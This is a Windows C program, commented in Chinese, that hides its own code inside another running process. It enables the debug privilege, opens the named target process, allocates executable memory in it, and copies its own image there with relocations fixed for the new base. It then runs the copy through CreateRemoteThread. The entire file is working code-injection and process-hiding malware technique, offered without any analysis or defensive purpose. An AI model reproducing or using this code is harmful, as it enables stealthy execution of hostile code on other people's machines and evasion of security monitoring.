#include "stdio.h"
#include "windows.h"
#ifdef _DEBUG
#define MsgBox(lpText) MessageBox(NULL,lpText,NULL,NULL)
#else
#define MsgBox(lpText)
#endif
#define LOAD_BASE_ADDR 0x03140000
#define SIZE_OF_NT_SIGNATURE (sizeof(DWORD))
#define OPTHDROFFSET(ptr) ((LPVOID)((BYTE *)(ptr)+((PIMAGE_DOS_HEADER)(ptr))->e_lfanew+SIZE_OF_NT_SIGNATURE+sizeof(IMAGE_FILE_HEADER)))
typedef BOOL (WINAPI* p_EnumProcesses )(DWORD * lpidProcess,DWORD cb, DWORD * cbNeeded );//定义一个函数指针
typedef BOOL (WINAPI* p_EnumProcessModules )( HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded );
typedef DWORD (WINAPI* p_GetModuleBaseName) ( HANDLE hProcess, HMODULE hModule, LPSTR lpBaseName, DWORD nSize );
HMODULE m_module;
BOOL m_bIsWinNT;
////////////////////////
//获取系统版本
///////////////////////
void GetOSVersion(void)
{
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if(GetVersionEx(&osvi)==FALSE) {
MsgBox("Unable to get version info GetOSVersion()");
}
if(osvi.dwPlatformId==VER_PLATFORM_WIN32s) {
MsgBox("This application does not run under WIN32s!");
}
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
m_bIsWinNT = 1;
else
m_bIsWinNT = 0;
}
////////////////////////
//初始化
////////////////////////
void Init()
{
GetOSVersion();
m_module=GetModuleHandle(NULL);
}
//////////////////////////////
//通过名称获取进程ID
//////////////////////////////
long GetNTProcessIDbyName(char *szName)
{
if((!m_bIsWinNT)||(!szName))
return -1;
HMODULE hModule=LoadLibrary("psapi.dll");
if(hModule==NULL)
return -1;
p_EnumProcesses pEnumProcesses=(p_EnumProcesses)GetProcAddress(hModule,"EnumProcesses");
p_EnumProcessModules pEnumProcessModules=(p_EnumProcessModules)GetProcAddress(hModule,"EnumProcessModules");
p_GetModuleBaseName pGetModuleBaseName=(p_GetModuleBaseName)GetProcAddress(hModule,"GetModuleBaseNameA");
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
if ( !pEnumProcesses( aProcesses, sizeof(aProcesses), &cbNeeded ) )
return -1;
cProcesses = cbNeeded / sizeof(DWORD);
for ( i = 0; i < cProcesses; i++ )
{
char szProcessName[MAX_PATH] = "";
HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, aProcesses[i] );
if ( hProcess )
{
HMODULE hMod;
DWORD cbNeeded;
if ( pEnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
pGetModuleBaseName( hProcess, hMod, szProcessName, MAX_PATH );
if(_stricmp(szName,szProcessName)==0)
{
CloseHandle (hProcess);
return aProcesses[i];
}
}
CloseHandle (hProcess);
}
}
return -1;
}
/////////////////////////////
//提权
/////////////////////////////
BOOL EnableDebugPriv()
{
HANDLE hToken;
LUID sedebugnameValue;
TOKEN_PRIVILEGES tkp;
if ( ! OpenProcessToken( GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
MsgBox("OPT() failed");
return FALSE;
}
if ( ! LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &sedebugnameValue ) )
{
MsgBox("LPV() failed");
CloseHandle( hToken );
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = sedebugnameValue;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if ( ! AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof tkp, NULL, NULL ) )
{
MsgBox("ATP() failed");
CloseHandle( hToken );
return FALSE;
}
CloseHandle( hToken );
return TRUE;
}
/////////////////////////////////////
//锁定
/////////////////////////////////////
BOOL FixRelocationTable(char *szBuf, long lLen,unsigned long lMyBase,unsigned long lNewBase)
{
DWORD lAdd=lNewBase-lMyBase;
IMAGE_DOS_HEADER *ppeDosHead=(IMAGE_DOS_HEADER *)szBuf;//dos head
IMAGE_NT_HEADERS32 *ppeHead=(IMAGE_NT_HEADERS32 *)(szBuf+ppeDosHead->e_lfanew);//PE head
ppeHead->OptionalHeader.ImageBase=lNewBase;
char* p=ppeHead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress+szBuf;
IMAGE_RELOCATION* relocblock=(IMAGE_RELOCATION*)(p);
ppeHead->OptionalHeader.ImageBase=lNewBase;
while(relocblock->VirtualAddress)
{
void* page = (void *)((UINT)szBuf + (UINT)relocblock->VirtualAddress);
long count = (relocblock->SymbolTableIndex - 8)/2;
for(int i=0; i<count; i++) {
int n=*((WORD*)((char*)(&relocblock->Type)+i*sizeof(WORD)));
int offset = n & 0xFFF;
int type = n >> 12;
//---------------------------
long test =(long)(char*)page+offset;
test-=(long)szBuf;
test+=lNewBase;
char szMsg[200];
sprintf(szMsg,"point->0X%X sozeofblock %d=0x%X",test,count,count);
switch(type) {
case IMAGE_REL_BASED_ABSOLUTE:
break;
case IMAGE_REL_BASED_HIGH:
*(UINT *)((UINT)page+offset) += HIWORD(lAdd);
break;
case IMAGE_REL_BASED_LOW:
*(UINT *)((UINT)page+offset) += LOWORD(lAdd);
break;
case IMAGE_REL_BASED_HIGHLOW:
*(UINT *)((UINT)page+offset) += lAdd;
break;
default:
break;
}
}
relocblock = (IMAGE_RELOCATION *)((BYTE *)relocblock +
relocblock->SymbolTableIndex);
}
return TRUE;
}
/////////////////////////////////////
//隐藏进程
/////////////////////////////////////
BOOL HideProcessInNTbyID(unsigned long lProcessID,LPTHREAD_START_ROUTINE pMyMainProcess)
{
if(lProcessID==-1)
return FALSE;
if(GetCurrentProcessId()==lProcessID)
return FALSE;
HANDLE hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lProcessID);
if(hProc==NULL)
return FALSE;
HMODULE lnewModule=(HMODULE) LOAD_BASE_ADDR;
DWORD dwSize=((PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(m_module))->SizeOfImage;
char *pMem=NULL;
int x=0;
while((pMem=(char *)VirtualAllocEx(hProc,lnewModule,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE))==NULL)
{
lnewModule-=1024;//one page??
if(((unsigned long)lnewModule)<0x10000)
return FALSE;//没有希望了
x=GetLastError();
}
//pMem=(char *)VirtualAllocEx(hProc,lnewModule,dwSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(pMem==NULL)
{
MsgBox("VirtualAllocEx Error,多次分配后失敗");
return FALSE;
}
char szMsg[200];
if((long)pMem!=LOAD_BASE_ADDR)
{
sprintf(szMsg,"old model=0X%X; new model=0X%X,pMem=0X%X; 多次分配后成功！",m_module,lnewModule,pMem);
MsgBox(szMsg);
}
else
{
sprintf(szMsg,"old model=0X%X; new model=0X%X,pMem=0X%X; 一次分配成功！",m_module,lnewModule,pMem);
MsgBox(szMsg);
}
if((long)pMem!=(long)lnewModule)
{
lnewModule=(HMODULE)pMem;
MsgBox("(pMem!=lnewModule)");
}
DWORD dwOldProt,dwNumBytes,i;
MEMORY_BASIC_INFORMATION mbi;
char* pMyExeData=new char[dwSize];
long lMyID=GetCurrentProcessId();
HANDLE hMyProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lMyID);
DWORD dRead;
ReadProcessMemory(hMyProc,m_module, pMyExeData,dwSize,&dRead);
FixRelocationTable(pMyExeData,dwSize,(unsigned long)m_module,(unsigned long)pMem);
VirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
while(mbi.Protect!=PAGE_NOACCESS && mbi.RegionSize!=0) {
if(!(mbi.Protect & PAGE_GUARD)) {
for(i=0;i<mbi.RegionSize;i+=0x1000) {
VirtualProtectEx(hProc,pMem+i,0x1000,PAGE_EXECUTE_READWRITE,&dwOldProt);
WriteProcessMemory(hProc,pMem+i,pMyExeData+i,0x1000,&dwNumBytes);
}
}
pMem+=mbi.RegionSize;
VirtualQueryEx(hProc,pMem,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
}
VirtualFreeEx(
hProc,
pMem,
dwSize,
MEM_DECOMMIT
);
DWORD dwRmtThdID;
long l=(char*)lnewModule-(char*)m_module;
HANDLE hRmtThd=CreateRemoteThread(hProc,NULL,0,
(LPTHREAD_START_ROUTINE)((long)pMyMainProcess+(long)l),
(LPVOID)lnewModule,0,&dwRmtThdID);
if(hRmtThd==NULL) {
MsgBox("Could create remote thread error!");
return FALSE;
}
CloseHandle(hProc);
return TRUE;
}
//隐藏
BOOL HideProcessInNT(char *szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess)
{
unsigned long lProcessID=GetNTProcessIDbyName(szRemoteProcess);
return HideProcessInNTbyID(lProcessID,pMyMainProcess);
}
BOOL HideProcessIn(char *szRemoteProcess,LPTHREAD_START_ROUTINE pMyMainProcess)
{
EnableDebugPriv();
if(m_bIsWinNT)
{
return HideProcessInNT(szRemoteProcess,pMyMainProcess);
}
return TRUE;
}
DWORD WINAPI MyNtRemoteThreadMain(LPVOID lpParameter)
{
MsgBox("进程隐藏成功");
return 0;
}
int main()
{
Init();
char* szRemoteProcess=new char[20];
printf("输入要绑定的进程名:");
scanf("%s",szRemoteProcess);
if(HideProcessIn(szRemoteProcess,MyNtRemoteThreadMain))
{
MsgBox("ok");
}
else
{
MsgBox("error");
}
return 0;
}
